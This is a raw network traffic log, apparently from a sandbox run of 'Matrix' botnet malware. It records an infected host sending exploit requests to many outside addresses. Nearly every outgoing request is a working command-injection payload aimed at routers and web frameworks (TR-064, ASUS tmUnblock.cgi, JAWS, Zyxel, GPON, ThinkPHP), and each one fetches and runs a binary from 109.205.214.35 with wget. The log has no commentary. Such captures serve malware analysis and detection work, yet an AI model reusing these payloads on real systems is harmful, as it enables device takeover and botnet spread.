Mar 21, 2024 05:18:51.548055887 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Thu, 21 Mar 2024 04:18:51 GMT Date: Thu, 21 Mar 2024 04:18:51 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 62 31 30 36 32 63 31 37 26 23 34 36 3b 31 37 31 30 39 39 34 37 33 31 26 23 34 36 3b 31 35 65 62 33 34 63 38 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.b1062c17.1710994731.15eb34c8</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1336	192.168.2.13	40724	121.7.204.128	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.432483912 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:51.771624088 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1337	192.168.2.13	57904	172.66.158.20	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.480726004 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1338	192.168.2.13	56518	172.65.222.141	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.573658943 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1339	192.168.2.13	57254	184.152.191.214	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.627177954 CET	334	IN	HTTP/1.0 400 Bad Request Server: httpd/2.0 x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Date: Thu, 21 Mar 2024 04:18:51 GMT Content-Type: text/html Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 34 3e 0a 4e 6f 20 72 65 71 75 65 73 74 20 66 6f 75 6e 64 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>400 Bad Request</H4>No request found.</BODY></HTML>
Mar 21, 2024 05:18:52.088118076 CET	334	IN	HTTP/1.0 400 Bad Request Server: httpd/2.0 x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Date: Thu, 21 Mar 2024 04:18:51 GMT Content-Type: text/html Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 34 3e 0a 4e 6f 20 72 65 71 75 65 73 74 20 66 6f 75 6e 64 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>400 Bad Request</H4>No request found.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1340	192.168.2.13	53654	184.188.75.178	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.629682064 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1341	192.168.2.13	35906	172.87.212.193	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.644229889 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:52.499838114 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:53.491938114 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:55.475817919 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:59.635816097 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1342	192.168.2.13	48788	184.167.38.92	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:51.651736975 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1343	192.168.2.13	34600	73.56.175.152	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:52.475033998 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1344	192.168.2.13	40064	178.32.207.141	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:52.712833881 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:52.913480043 CET	320	IN	HTTP/1.1 404 Not Found Server: nginx/1.25.3 Date: Thu, 21 Mar 2024 04:18:52 GMT Content-Type: text/html Content-Length: 153 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.25.3</center></body></html>
Mar 21, 2024 05:18:52.913491964 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.25.3 Date: Thu, 21 Mar 2024 04:18:52 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.25.3</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1345	192.168.2.13	56354	79.45.132.112	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:52.991158962 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1346	192.168.2.13	58330	212.16.16.117	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:52.991214991 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1347	192.168.2.13	41796	37.111.156.236	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:52.991219044 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1348	192.168.2.13	39694	79.207.211.89	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:52.991298914 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1349	192.168.2.13	44892	42.211.205.184	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:52.991303921 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1350	192.168.2.13	54598	109.185.30.215	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:52.991380930 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1351	192.168.2.13	39928	94.108.30.255	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:52.991430998 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1352	192.168.2.13	47314	5.74.218.192	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:52.991450071 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1353	192.168.2.13	40102	95.101.57.152	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:53.758547068 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:53.923137903 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Thu, 21 Mar 2024 04:18:53 GMT Date: Thu, 21 Mar 2024 04:18:53 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 62 63 35 61 33 33 62 38 26 23 34 36 3b 31 37 31 30 39 39 34 37 33 33 26 23 34 36 3b 36 33 63 31 65 62 63 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.bc5a33b8.1710994733.63c1ebc</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1354	192.168.2.13	60930	95.110.255.28	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:53.759322882 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:53.946110010 CET	404	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:18:53 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1355	192.168.2.13	35042	95.110.168.91	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:53.946149111 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:54.139678955 CET	78	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
1356	192.168.2.13	43294	181.198.36.227	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:54.127134085 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1357	192.168.2.13	47638	95.216.37.94	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:54.128001928 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
